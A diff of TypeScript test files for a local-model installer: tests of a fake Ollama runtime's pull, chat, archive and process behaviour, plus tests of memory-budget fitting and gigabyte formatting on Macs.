|
||||
const res = await fetch(`${target.baseUrl}/api/pull`, {
|
||||
method: 'POST',
|
||||
headers: { 'content-type': 'application/json' },
|
||||
body: JSON.stringify({ model: modelId, stream: true }),
|
||||
});
|
||||
let text = '';
|
||||
let cut = false;
|
||||
const decoder = new TextDecoder();
|
||||
try {
|
||||
for await (const chunk of res.body as unknown as AsyncIterable<Uint8Array>) {
|
||||
text += decoder.decode(chunk, { stream: true });
|
||||
}
|
||||
} catch {
|
||||
cut = true;
|
||||
}
|
||||
const lines = text
|
||||
.split('\n')
|
||||
.filter((line) => line.trim() !== '')
|
||||
.map((line) => JSON.parse(line));
|
||||
return { lines, cut };
|
||||
}
|
||||
|
||||
async function getJson(target: FakeOllama, path: string): Promise<any> {
|
||||
return (await fetch(`${target.baseUrl}${path}`)).json();
|
||||
}
|
||||
|
||||
async function chat(target: FakeOllama, body: Record<string, unknown>): Promise<{ status: number; json: any }> {
|
||||
const res = await fetch(`${target.baseUrl}/v1/chat/completions`, {
|
||||
method: 'POST',
|
||||
headers: { 'content-type': 'application/json' },
|
||||
body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, messages: [{ role: 'user', content: 'ping' }], ...body }),
|
||||
});
|
||||
return { status: res.status, json: await res.json() };
|
||||
}
|
||||
|
||||
const TOOLS = [
|
||||
{
|
||||
type: 'function',
|
||||
function: {
|
||||
name: 'read_file',
|
||||
description: 'Read a file',
|
||||
parameters: { type: 'object', properties: { path: { type: 'string' } }, required: ['path'] },
|
||||
},
|
||||
},
|
||||
];
|
||||
|
||||
describe('the fake runtime: listings', () => {
|
||||
it('answers the version and an empty store in the real shapes', async () => {
|
||||
fake = await startFakeOllama();
|
||||
expect(fake.port).toBeGreaterThan(0);
|
||||
expect(await (await fetch(`${fake.baseUrl}/`)).text()).toBe('Ollama is running');
|
||||
expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' });
|
||||
expect(await getJson(fake, '/api/tags')).toEqual({ models: [] });
|
||||
expect(await getJson(fake, '/api/ps')).toEqual({ models: [] });
|
||||
// The real runtime answers `data: null`, not an empty list, when it has no model.
|
||||
expect(await getJson(fake, '/v1/models')).toEqual({ object: 'list', data: null });
|
||||
});
|
||||
|
||||
it('lists an installed model with the digest, format and runner a Mac reports', async () => {
|
||||
fake = await startFakeOllama({ installed: true });
|
||||
const tags = await getJson(fake, '/api/tags');
|
||||
expect(tags.models).toHaveLength(1);
|
||||
expect(tags.models[0]).toMatchObject({
|
||||
name: 'qwen3.6:35b-a3b',
|
||||
size: 23_105_798_956,
|
||||
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
|
||||
details: { format: 'safetensors', quantization_level: 'nvfp4', runner: 'mlx' },
|
||||
capabilities: ['completion', 'vision', 'tools', 'thinking'],
|
||||
});
|
||||
expect((await getJson(fake, '/v1/models')).data.map((m: { id: string }) => m.id)).toEqual(['qwen3.6:35b-a3b']);
|
||||
});
|
||||
|
||||
it('records every request with its parsed body', async () => {
|
||||
fake = await startFakeOllama({ installed: true });
|
||||
await chat(fake, { reasoning_effort: 'none', max_tokens: 16 });
|
||||
expect(fake.requests.at(-1)).toMatchObject({
|
||||
method: 'POST',
|
||||
path: '/v1/chat/completions',
|
||||
body: { model: 'qwen3.6:35b-a3b', reasoning_effort: 'none', max_tokens: 16 },
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('the fake runtime: pull', () => {
|
||||
it('streams the MLX line shape of a Mac and installs the model', async () => {
|
||||
fake = await startFakeOllama({ pull: { progressLines: 4 } });
|
||||
const { lines, cut } = await pull(fake);
|
||||
expect(cut).toBe(false);
|
||||
expect(lines[0]).toEqual({ status: 'pulling manifest' });
|
||||
expect(lines[1]).toEqual({ status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 0 });
|
||||
expect(lines.slice(-3)).toEqual([
|
||||
{ status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 23_105_798_956 },
|
||||
{ status: 'writing manifest' },
|
||||
{ status: 'success' },
|
||||
]);
|
||||
const completed = lines.filter((l) => l.status === 'pulling model').map((l) => l.completed);
|
||||
expect(completed).toEqual([...completed].sort((a, b) => a - b));
|
||||
expect(fake.state.installed).toBe(true);
|
||||
expect((await getJson(fake, '/api/tags')).models).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('streams as many progress lines as asked for', async () => {
|
||||
fake = await startFakeOllama({ pull: { progressLines: 5000 } });
|
||||
const { lines } = await pull(fake);
|
||||
expect(lines.filter((l) => l.status === 'pulling model')).toHaveLength(5001);
|
||||
});
|
||||
|
||||
it('streams the GGUF shape: layers that announce themselves, then the digest check', async () => {
|
||||
fake = await startFakeOllama({ pull: { shape: 'gguf', progressLines: 2 } });
|
||||
const { lines } = await pull(fake);
|
||||
const large = `sha256:${DEFAULT_FAKE_MODEL.digest}`;
|
||||
// The first line of a layer has no `completed`.
|
||||
expect(lines[1]).toEqual({ status: 'pulling 0ce5ff81f9ff', digest: large, total: 23_105_798_956 - 13_383 });
|
||||
expect(lines.map((l) => l.status).slice(-3)).toEqual(['verifying sha256 digest', 'writing manifest', 'success']);
|
||||
// The totals of all layers add up to the model.
|
||||
const totals = new Map<string, number>();
|
||||
for (const l of lines) if (l.digest) totals.set(l.digest, l.total);
|
||||
expect([...totals.values()].reduce((a, b) => a + b, 0)).toBe(23_105_798_956);
|
||||
});
|
||||
|
||||
it('ends on the real error line, then resumes where it stopped and succeeds', async () => {
|
||||
fake = await startFakeOllama({ pull: { fail: 'error-line', failAfterLines: 3, failTimes: 1, progressLines: 6 } });
|
||||
const first = await pull(fake);
|
||||
expect(first.cut).toBe(false);
|
||||
expect(JSON.stringify(first.lines.at(-1))).toBe(REAL_PULL_ERROR_LINE);
|
||||
expect(first.lines.some((l) => l.status === 'success')).toBe(false);
|
||||
expect(fake.state.installed).toBe(false);
|
||||
const reached = fake.state.completedBytes;
|
||||
expect(reached).toBeGreaterThan(0);
|
||||
|
||||
const second = await pull(fake);
|
||||
// A resumed pull's first progress line starts at what is already on disk.
|
||||
expect(second.lines[1].completed).toBe(reached);
|
||||
expect(second.lines.at(-1)).toEqual({ status: 'success' });
|
||||
expect(fake.state.pulls).toBe(2);
|
||||
});
|
||||
|
||||
it('cuts the stream without a last line', async () => {
|
||||
fake = await startFakeOllama({ pull: { fail: 'cut', failAfterLines: 2 } });
|
||||
const { lines, cut } = await pull(fake);
|
||||
expect(cut).toBe(true);
|
||||
expect(lines.some((l) => l.status === 'success' || l.error)).toBe(false);
|
||||
expect(fake.state.installed).toBe(false);
|
||||
});
|
||||
|
||||
it('starts a first pull at resumeFrom', async () => {
|
||||
fake = await startFakeOllama({ pull: { resumeFrom: 197_411_434, progressLines: 2 } });
|
||||
const { lines } = await pull(fake);
|
||||
expect(lines[1].completed).toBe(197_411_434);
|
||||
});
|
||||
|
||||
it('says so when the registry has no such model', async () => {
|
||||
fake = await startFakeOllama();
|
||||
const unknown = await pull(fake, 'no-such:1b');
|
||||
expect(unknown.lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' });
|
||||
fake.switches.pull.fail = 'not-found';
|
||||
expect((await pull(fake)).lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' });
|
||||
});
|
||||
|
||||
it('stops sending when the client aborts, and remembers how far it got', async () => {
|
||||
fake = await startFakeOllama({ pull: { progressLines: 200, lineDelayMs: 5 } });
|
||||
const controller = new AbortController();
|
||||
const res = await fetch(`${fake.baseUrl}/api/pull`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, stream: true }),
|
||||
signal: controller.signal,
|
||||
});
|
||||
const reader = res.body!.getReader();
|
||||
await reader.read();
|
||||
controller.abort();
|
||||
await reader.read().catch(() => undefined);
|
||||
await new Promise((resolve) => setTimeout(resolve, 50));
|
||||
const reached = fake.state.completedBytes;
|
||||
expect(fake.state.installed).toBe(false);
|
||||
expect(reached).toBeLessThan(23_105_798_956);
|
||||
await new Promise((resolve) => setTimeout(resolve, 50));
|
||||
expect(fake.state.completedBytes).toBe(reached);
|
||||
});
|
||||
|
||||
it('deletes the model', async () => {
|
||||
fake = await startFakeOllama({ installed: true });
|
||||
const del = (): Promise<Response> =>
|
||||
fetch(`${fake!.baseUrl}/api/delete`, {
|
||||
method: 'DELETE',
|
||||
body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id }),
|
||||
});
|
||||
expect((await del()).status).toBe(200);
|
||||
expect(fake.state.installed).toBe(false);
|
||||
expect((await del()).status).toBe(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the fake runtime: chat, the process list and the tool probe', () => {
|
||||
it('answers a plain chat and lists the model as loaded, all on the GPU', async () => {
|
||||
fake = await startFakeOllama({ installed: true });
|
||||
expect((await getJson(fake, '/api/ps')).models).toEqual([]);
|
||||
const { status, json } = await chat(fake, { reasoning_effort: 'none' });
|
||||
expect(status).toBe(200);
|
||||
expect(json.choices[0]).toEqual({
|
||||
index: 0,
|
||||
message: { role: 'assistant', content: 'pong' },
|
||||
finish_reason: 'stop',
|
||||
});
|
||||
const [loaded] = (await getJson(fake, '/api/ps')).models;
|
||||
expect(loaded).toMatchObject({ name: 'qwen3.6:35b-a3b', context_length: 131072, runner: 'mlx' });
|
||||
expect(loaded.size_vram).toBe(loaded.size);
|
||||
});
|
||||
|
||||
it('can report a model that is partly off the GPU, or loaded at another context', async () => {
|
||||
fake = await startFakeOllama({ installed: true, ps: { size: 30e9, sizeVram: 20e9 } });
|
||||
await chat(fake, {});
|
||||
expect((await getJson(fake, '/api/ps')).models[0]).toMatchObject({ size: 30e9, size_vram: 20e9 });
|
||||
fake.switches.ps = { contextLength: 32768 };
|
||||
expect((await getJson(fake, '/api/ps')).models[0].context_length).toBe(32768);
|
||||
fake.switches.ps = { loaded: false };
|
||||
expect((await getJson(fake, '/api/ps')).models).toEqual([]);
|
||||
});
|
||||
|
||||
it('answers 404 in the real error shape for a model it does not have', async () => {
|
||||
fake = await startFakeOllama();
|
||||
const { status, json } = await chat(fake, {});
|
||||
expect(status).toBe(404);
|
||||
expect(json).toEqual({
|
||||
error: { message: "model 'qwen3.6:35b-a3b' not found", type: 'not_found_error', param: null, code: null },
|
||||
});
|
||||
});
|
||||
|
||||
it('can fail the chat that loads the model', async () => {
|
||||
fake = await startFakeOllama({ installed: true, chat: 'error' });
|
||||
expect((await chat(fake, {})).status).toBe(500);
|
||||
expect((await getJson(fake, '/api/ps')).models).toEqual([]);
|
||||
});
|
||||
|
||||
it('calls the tool it was given, with arguments that parse', async () => {
|
||||
fake = await startFakeOllama({ installed: true });
|
||||
const { json } = await chat(fake, { tools: TOOLS, reasoning_effort: 'none', max_tokens: 1024 });
|
||||
const choice = json.choices[0];
|
||||
expect(choice.finish_reason).toBe('tool_calls');
|
||||
expect(choice.message.tool_calls).toHaveLength(1);
|
||||
expect(choice.message.tool_calls[0]).toMatchObject({ type: 'function', function: { name: 'read_file' } });
|
||||
expect(JSON.parse(choice.message.tool_calls[0].function.arguments)).toEqual({ path: 'README.md' });
|
||||
});
|
||||
|
||||
it('can answer without a tool call, run into the token limit, or send arguments that do not parse', async () => {
|
||||
fake = await startFakeOllama({ installed: true, tool: 'none' });
|
||||
let choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
|
||||
expect(choice.finish_reason).toBe('stop');
|
||||
expect(choice.message.tool_calls).toBeUndefined();
|
||||
|
||||
fake.switches.tool = 'length';
|
||||
choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
|
||||
expect(choice.finish_reason).toBe('length');
|
||||
expect(choice.message.content).toBe('');
|
||||
expect(choice.message.tool_calls).toBeUndefined();
|
||||
|
||||
fake.switches.tool = 'bad-arguments';
|
||||
choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
|
||||
expect(() => JSON.parse(choice.message.tool_calls[0].function.arguments)).toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe('the fake runtime: the archive', () => {
|
||||
it('serves an archive whose size and hash are the pin it hands out', async () => {
|
||||
fake = await startFakeOllama();
|
||||
const pin = fake.pin();
|
||||
expect(pin.url).toBe(`${fake.baseUrl}/download/ollama-darwin.tgz`);
|
||||
const res = await fetch(pin.url);
|
||||
const body = Buffer.from(await res.arrayBuffer());
|
||||
expect(res.status).toBe(200);
|
||||
expect(body.length).toBe(pin.bytes);
|
||||
expect(createHash('sha256').update(body).digest('hex')).toBe(pin.sha256);
|
||||
});
|
||||
|
||||
it('continues from a Range request', async () => {
|
||||
fake = await startFakeOllama();
|
||||
const res = await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } });
|
||||
expect(res.status).toBe(206);
|
||||
expect(res.headers.get('content-range')).toBe(`bytes 10-${fake.archive.size - 1}/${fake.archive.size}`);
|
||||
expect(Buffer.from(await res.arrayBuffer()).equals(fake.archive.body.subarray(10))).toBe(true);
|
||||
expect((await fetch(fake.pin().url, { headers: { range: `bytes=${fake.archive.size}-` } })).status).toBe(416);
|
||||
});
|
||||
|
||||
it('cuts the body the first time only, so a Range request can finish it', async () => {
|
||||
fake = await startFakeOllama({ archive: { cutAfterBytes: 20 } });
|
||||
const first = await fetch(fake.pin().url);
|
||||
const got: Buffer[] = [];
|
||||
await (async () => {
|
||||
for await (const chunk of first.body as unknown as AsyncIterable<Uint8Array>) got.push(Buffer.from(chunk));
|
||||
})().catch(() => undefined);
|
||||
const head = Buffer.concat(got);
|
||||
expect(head.length).toBe(20);
|
||||
const rest = await fetch(fake.pin().url, { headers: { range: 'bytes=20-' } });
|
||||
const whole = Buffer.concat([head, Buffer.from(await rest.arrayBuffer())]);
|
||||
expect(createHash('sha256').update(whole).digest('hex')).toBe(fake.archive.sha256);
|
||||
expect(fake.state.archiveRequests).toBe(2);
|
||||
});
|
||||
|
||||
it('can ignore Range, or answer another status', async () => {
|
||||
fake = await startFakeOllama({ archive: { ignoreRange: true } });
|
||||
expect((await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } })).status).toBe(200);
|
||||
fake.switches.archive.status = 503;
|
||||
expect((await fetch(fake.pin().url)).status).toBe(503);
|
||||
});
|
||||
|
||||
it('is a real archive that tar unpacks to an executable', async () => {
|
||||
const dir = await mkdtemp(join(tmpdir(), 'fake-ollama-archive-'));
|
||||
try {
|
||||
const archive = join(dir, 'runtime.tgz');
|
||||
await writeFile(archive, buildFakeArchive({ ollama: '#!/bin/sh\necho hello\n', LICENSE: 'text\n' }));
|
||||
await execFileAsync('tar', ['-xzf', archive, '-C', dir]);
|
||||
expect(await readFile(join(dir, 'LICENSE'), 'utf8')).toBe('text\n');
|
||||
expect((await stat(join(dir, 'ollama'))).mode & 0o111).not.toBe(0);
|
||||
expect((await execFileAsync(join(dir, 'ollama'))).stdout).toBe('hello\n');
|
||||
} finally {
|
||||
await rm(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('the fake runtime: the child process', () => {
|
||||
it('holds the real log lines with the device total', () => {
|
||||
expect(REAL_INFERENCE_COMPUTE_LINE_MAC_MINI).toContain('total="11.8 GiB" available="11.8 GiB"');
|
||||
expect(INFERENCE_COMPUTE_LINE_MACBOOK).toContain('total="37.4 GiB" available="37.4 GiB"');
|
||||
expect(MACBOOK_MEASURED_TOTAL_BYTES).toBe(Math.floor(37.4 * 1024 ** 3));
|
||||
expect(fakeRuntimeLog('37.4 GiB')[2]).toContain('msg="inference compute"');
|
||||
});
|
||||
|
||||
it('listens on the port of OLLAMA_HOST once spawned, logs the budget, and is gone when killed', async () => {
|
||||
const port = await freeLoopbackPort();
|
||||
fake = createFakeOllama({ installed: true });
|
||||
expect(fake.listening).toBe(false);
|
||||
|
||||
const child = fake.spawn('/somewhere/ollama', ['serve'], {
|
||||
env: { OLLAMA_HOST: `127.0.0.1:${port}`, HOME: '/private/home' },
|
||||
}) as unknown as FakeRuntimeChild;
|
||||
let log = '';
|
||||
child.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8')));
|
||||
await new Promise((resolve) => setTimeout(resolve, 50));
|
||||
|
||||
expect(child.pid).toBeGreaterThan(4_194_304);
|
||||
expect(child.env.HOME).toBe('/private/home');
|
||||
expect(fake.port).toBe(port);
|
||||
expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' });
|
||||
expect(log).toContain('msg="inference compute"');
|
||||
expect(log).toContain('total="37.4 GiB"');
|
||||
|
||||
const exited = new Promise<[number | null, string | null]>((resolve) =>
|
||||
child.once('exit', (code, signal) => resolve([code, signal]))
|
||||
);
|
||||
expect(child.kill('SIGTERM')).toBe(true);
|
||||
expect(await exited).toEqual([null, 'SIGTERM']);
|
||||
expect(fake.listening).toBe(false);
|
||||
await expect(fetch(`http://127.0.0.1:${port}/api/version`)).rejects.toThrow();
|
||||
expect(fake.state.children).toEqual([child]);
|
||||
});
|
||||
|
||||
it('can start without ever listening, exit at once, leave the budget out, or crash later', async () => {
|
||||
const port = await freeLoopbackPort();
|
||||
const env = { OLLAMA_HOST: `127.0.0.1:${port}` };
|
||||
|
||||
fake = createFakeOllama({ spawn: { neverListens: true, logsBudget: false } });
|
||||
const silent = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
|
||||
let log = '';
|
||||
silent.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8')));
|
||||
await new Promise((resolve) => setTimeout(resolve, 30));
|
||||
expect(fake.listening).toBe(false);
|
||||
expect(log).toContain('Listening on');
|
||||
expect(log).not.toContain('inference compute');
|
||||
|
||||
fake.switches.spawn = { neverListens: false, exitsAtOnce: 2, total: '37.4 GiB', logsBudget: true };
|
||||
const dead = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
|
||||
const code = await new Promise((resolve) => dead.once('exit', resolve));
|
||||
expect(code).toBe(2);
|
||||
|
||||
fake.switches.spawn.exitsAtOnce = undefined;
|
||||
const alive = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
|
||||
await new Promise((resolve) => setTimeout(resolve, 30));
|
||||
expect(fake.listening).toBe(true);
|
||||
const crashed = new Promise((resolve) => alive.once('exit', resolve));
|
||||
alive.crash(137);
|
||||
expect(await crashed).toBe(137);
|
||||
expect(fake.listening).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,136 @@
|
||||
/**
|
||||
* @fileoverview Tests for `modelFitsBudget()` of src/local-model/recommend.ts: the judgement
|
||||
* the install job makes before it downloads a model.
|
||||
*
|
||||
* Pinned: it agrees with what `recommend()` offers (a model that is the pick or listed fits,
|
||||
* a model that is in neither and is not left out for its rank does not), it does not depend
|
||||
* on the ranking, a model the catalogue does not have never fits, and it judges against the
|
||||
* budget the runtime measured when the caller passes one (the whole point of asking again
|
||||
* after the runtime started).
|
||||
*
|
||||
* Port: N/A (pure functions).
|
||||
*/
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { getLocalModelCatalog } from '../src/config/local-model-catalog.js';
|
||||
import { formatGb, memClassGb } from '../src/local-model/format.js';
|
||||
import { modelFitsBudget, recommend } from '../src/local-model/recommend.js';
|
||||
import type { HardwareFacts, HarnessFact } from '../src/types.js';
|
||||
|
||||
/** A Mac with Apple silicon and `gb` GB of memory as sold. */
|
||||
function mac(gb: number, chip = 'Apple M5 Pro'): HardwareFacts {
|
||||
const memBytes = gb * 1024 ** 3;
|
||||
return {
|
||||
platform: 'darwin',
|
||||
arch: 'arm64',
|
||||
arm64: true,
|
||||
translated: false,
|
||||
memBytes,
|
||||
memGb: formatGb(memBytes),
|
||||
memClassGb: memClassGb(memBytes),
|
||||
chip,
|
||||
macosMajor: 27,
|
||||
macosVersion: '27.2',
|
||||
wiredLimitMb: 0,
|
||||
source: 'sysctl',
|
||||
};
|
||||
}
|
||||
|
||||
/** Every harness of the catalogue, installed and accepting every model id. */
|
||||
function harnessFacts(): HarnessFact[] {
|
||||
return getLocalModelCatalog().harnesses.map((row) => ({
|
||||
cli: row.cli,
|
||||
label: row.cli,
|
||||
installed: true,
|
||||
installable: false,
|
||||
acceptsModelId: () => true,
|
||||
}));
|
||||
}
|
||||
|
||||
describe('modelFitsBudget', () => {
|
||||
const catalog = getLocalModelCatalog();
|
||||
|
||||
it('agrees with the recommendation on every model and context of the catalogue', () => {
|
||||
for (const gb of [8, 16, 24, 32, 48, 64, 128]) {
|
||||
const hw = mac(gb);
|
||||
const offered = recommend(hw, catalog, harnessFacts());
|
||||
const rows = [offered.pick, ...offered.alternatives].filter((row) => row !== undefined);
|
||||
// Whatever the recommendation offers fits at the context it offers it at.
|
||||
for (const row of rows) {
|
||||
expect(modelFitsBudget(hw, catalog, row.modelId, row.context), `${gb} GB ${row.modelId}`).toBe(true);
|
||||
}
|
||||
// A Mac that gets no recommendation for lack of memory has no model that fits at a
|
||||
// context a harness works at.
|
||||
if (offered.verdict === 'none') {
|
||||
const smallestHarnessContext = Math.min(...catalog.harnesses.filter((h) => !h.gated).map((h) => h.minContext));
|
||||
for (const model of catalog.models) {
|
||||
for (const context of model.contexts.filter((ctx) => ctx >= smallestHarnessContext)) {
|
||||
expect(modelFitsBudget(hw, catalog, model.id, context), `${gb} GB ${model.id}`).toBe(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('does not depend on the ranking: a model that fits and is listed nowhere still fits', () => {
|
||||
// On a 128 GB Mac more models fit than the recommendation lists.
|
||||
const hw = mac(128, 'Apple M5 Max');
|
||||
const offered = recommend(hw, catalog, harnessFacts());
|
||||
const listed = new Set([offered.pick, ...offered.alternatives].map((row) => row?.modelId));
|
||||
const unlisted = catalog.models.filter((model) => !listed.has(model.id));
|
||||
expect(unlisted.length).toBeGreaterThan(0);
|
||||
for (const model of unlisted) {
|
||||
expect(modelFitsBudget(hw, catalog, model.id, model.contexts.at(-1) as number), model.id).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('rules out a model that is too large, and one the catalogue does not have', () => {
|
||||
expect(modelFitsBudget(mac(48), catalog, 'qwen3.5:122b-a10b', 131072)).toBe(false);
|
||||
expect(modelFitsBudget(mac(48), catalog, 'no-such:1b', 65536)).toBe(false);
|
||||
expect(modelFitsBudget(mac(48), catalog, 'qwen3.6:35b-a3b', 131072)).toBe(true);
|
||||
});
|
||||
|
||||
it('judges against the budget the runtime measured, when it is given one', () => {
|
||||
const id = 'qwen3.6:35b-a3b';
|
||||
// The MacBook: the runtime reported 37.4 GiB, and the model needs 36.0 of those 40.2 GB.
|
||||
expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 40_157_944_217 })).toBe(true);
|
||||
// A runtime that reports less than the estimate rules out what the estimate allowed.
|
||||
expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 33 * 1024 ** 3 })).toBe(false);
|
||||
// And one that reports more admits what the estimate ruled out: the 27B on a 36 GB Mac.
|
||||
expect(modelFitsBudget(mac(36), catalog, 'qwen3.8:27b', 65536)).toBe(false);
|
||||
expect(modelFitsBudget(mac(36), catalog, 'qwen3.8:27b', 65536, { measuredTotalBytes: 27 * 1024 ** 3 })).toBe(true);
|
||||
// The reserve still bounds it: 100 GiB "measured" on a 48 GB Mac is 40 GiB (42.9 GB) of
|
||||
// budget, so the Q8 27B with its 42.8 GB stays out (0.997) although 100 GiB would hold it.
|
||||
const huge = { measuredTotalBytes: 100 * 1024 ** 3 };
|
||||
expect(modelFitsBudget(mac(48), catalog, 'qwen3.8:27b-q8_0', 131072, huge)).toBe(false);
|
||||
expect(modelFitsBudget(mac(128), catalog, 'qwen3.8:27b-q8_0', 131072, huge)).toBe(true);
|
||||
});
|
||||
|
||||
it('agrees with the recommendation under a measured budget too', () => {
|
||||
for (const [gb, measuredGib] of [
|
||||
[16, 11.8],
|
||||
[32, 20],
|
||||
[48, 37.4],
|
||||
[48, 30],
|
||||
[64, 50],
|
||||
]) {
|
||||
const hw = mac(gb);
|
||||
const options = { measuredTotalBytes: Math.floor(measuredGib * 1024 ** 3) };
|
||||
const offered = recommend(hw, catalog, harnessFacts(), options);
|
||||
expect(offered.verdict === 'none' || offered.budgetSource === 'measured').toBe(true);
|
||||
for (const row of [offered.pick, ...offered.alternatives].filter((entry) => entry !== undefined)) {
|
||||
expect(modelFitsBudget(hw, catalog, row.modelId, row.context, options), `${gb} GB ${row.modelId}`).toBe(true);
|
||||
// The next larger context of the same model does not fit, or the row would be at it.
|
||||
const model = catalog.models.find((entry) => entry.id === row.modelId);
|
||||
const larger = model?.contexts.filter((ctx) => ctx > row.context) ?? [];
|
||||
for (const ctx of larger) expect(modelFitsBudget(hw, catalog, row.modelId, ctx, options)).toBe(false);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('is false for a context that is no token count', () => {
|
||||
for (const context of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) {
|
||||
expect(modelFitsBudget(mac(128), catalog, 'qwen3.5:9b', context), String(context)).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,86 @@
|
||||
/**
|
||||
* @fileoverview Tests for src/local-model/format.ts: the ONE place a byte count becomes a size a
|
||||
* person reads, and the memory class a Mac is sold as.
|
||||
*
|
||||
* What is pinned here is a contract with the browser: it prints the text it was sent and adds
|
||||
* ' GB' itself, so the text must be decimal GB, carry no unit, and round the same way everywhere.
|
||||
*
|
||||
* Port: N/A (pure functions).
|
||||
*/
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { formatGb, GB, GIB, memClassGb, MIB } from '../src/local-model/format.js';
|
||||
|
||||
describe('byte units', () => {
|
||||
it('keeps decimal GB (what a person reads) apart from the binary units of the budget math', () => {
|
||||
expect(GB).toBe(1_000_000_000);
|
||||
expect(GIB).toBe(1_073_741_824);
|
||||
expect(MIB).toBe(1_048_576);
|
||||
});
|
||||
});
|
||||
|
||||
describe('formatGb', () => {
|
||||
it('prints decimal GB, so a Mac sold as 16 GB reads 17.2 and one sold as 48 GB reads 51.5', () => {
|
||||
expect(formatGb(17_179_869_184)).toBe('17.2');
|
||||
expect(formatGb(51_539_607_552)).toBe('51.5');
|
||||
});
|
||||
|
||||
it('prints the registry sizes of the catalogue models as the registry shows them', () => {
|
||||
expect(formatGb(6_550_825_373)).toBe('6.6');
|
||||
expect(formatGb(13_793_441_427)).toBe('13.8');
|
||||
expect(formatGb(17_741_871_939)).toBe('17.7');
|
||||
expect(formatGb(22_621_314_161)).toBe('22.6');
|
||||
expect(formatGb(81_370_035_877)).toBe('81.4');
|
||||
});
|
||||
|
||||
it('keeps one decimal below 100 and none from 100', () => {
|
||||
expect(formatGb(1 * GB)).toBe('1.0');
|
||||
expect(formatGb(99.94 * GB)).toBe('99.9');
|
||||
// Rounds to 100.0, which is already "from 100".
|
||||
expect(formatGb(99.96 * GB)).toBe('100');
|
||||
expect(formatGb(100 * GB)).toBe('100');
|
||||
// The free disk of the two test Macs, from their `df -k` lines.
|
||||
expect(formatGb(890_926_084 * 1024)).toBe('912');
|
||||
expect(formatGb(41_752_848 * 1024)).toBe('42.8');
|
||||
});
|
||||
|
||||
it('never prints a unit, a thousands separator or an exponent', () => {
|
||||
for (const bytes of [1, 5 * MIB, 3 * GIB, 250 * GB, 4000 * GB, 2.5e15]) {
|
||||
expect(formatGb(bytes)).toMatch(/^\d+(\.\d)?$/);
|
||||
}
|
||||
});
|
||||
|
||||
it("reads '0.0' for anything that is not a positive size", () => {
|
||||
for (const bytes of [0, -1, -5 * GB, Number.NaN, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY]) {
|
||||
expect(formatGb(bytes)).toBe('0.0');
|
||||
}
|
||||
});
|
||||
|
||||
it('shows a size too small for one decimal as 0.0, never as an empty text', () => {
|
||||
expect(formatGb(10 * MIB)).toBe('0.0');
|
||||
expect(formatGb(512 * MIB)).toBe('0.5');
|
||||
});
|
||||
});
|
||||
|
||||
describe('memClassGb', () => {
|
||||
it('names the size a Mac is sold as: whole binary gigabytes', () => {
|
||||
for (const sold of [8, 16, 18, 24, 32, 36, 48, 64, 96, 128, 192]) {
|
||||
expect(memClassGb(sold * GIB)).toBe(sold);
|
||||
}
|
||||
// The exact `hw.memsize` of the two test Macs.
|
||||
expect(memClassGb(17_179_869_184)).toBe(16);
|
||||
expect(memClassGb(51_539_607_552)).toBe(48);
|
||||
});
|
||||
|
||||
it('rounds a size that is not a whole number of gigabytes', () => {
|
||||
// `hw.memsize_usable` of the 16 GB test Mac is a little below 16 GiB.
|
||||
expect(memClassGb(16_631_808_000)).toBe(15);
|
||||
expect(memClassGb(16 * GIB - 100 * MIB)).toBe(16);
|
||||
});
|
||||
|
||||
it('reads 0 for anything that is not a positive size', () => {
|
||||
for (const bytes of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) {
|
||||
expect(memClassGb(bytes)).toBe(0);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,749 @@
|
||||
/**
|
||||
* @fileoverview Tests for src/local-model/hardware.ts: the probe that tells the recommendation
|
||||
* what this Mac is.
|
||||
*
|
||||
* Two halves, mirroring the module:
|
||||
*
|
||||
* 1. `parseSysctl()`, pure. Fed the REAL output of the probe command on the two test Macs (a
|
||||
* MacBook Pro with an M5 Pro and 48 GB, a Mac mini with an M4 and 16 GB), copied here
|
||||
* character for character with the extra lines the capture holds, plus an Intel-shaped
|
||||
* output (three of the seven keys do not exist there) and outputs cut off mid-line.
|
||||
* 2. `readHardware()`, with every piece of IO injected: nothing is spawned and no real disk is
|
||||
* read. What is pinned: a failed spawn is an ANSWER (the `os-fallback` shape), nothing is
|
||||
* spawned off macOS, the result is cached for 60 s and concurrent callers share one probe.
|
||||
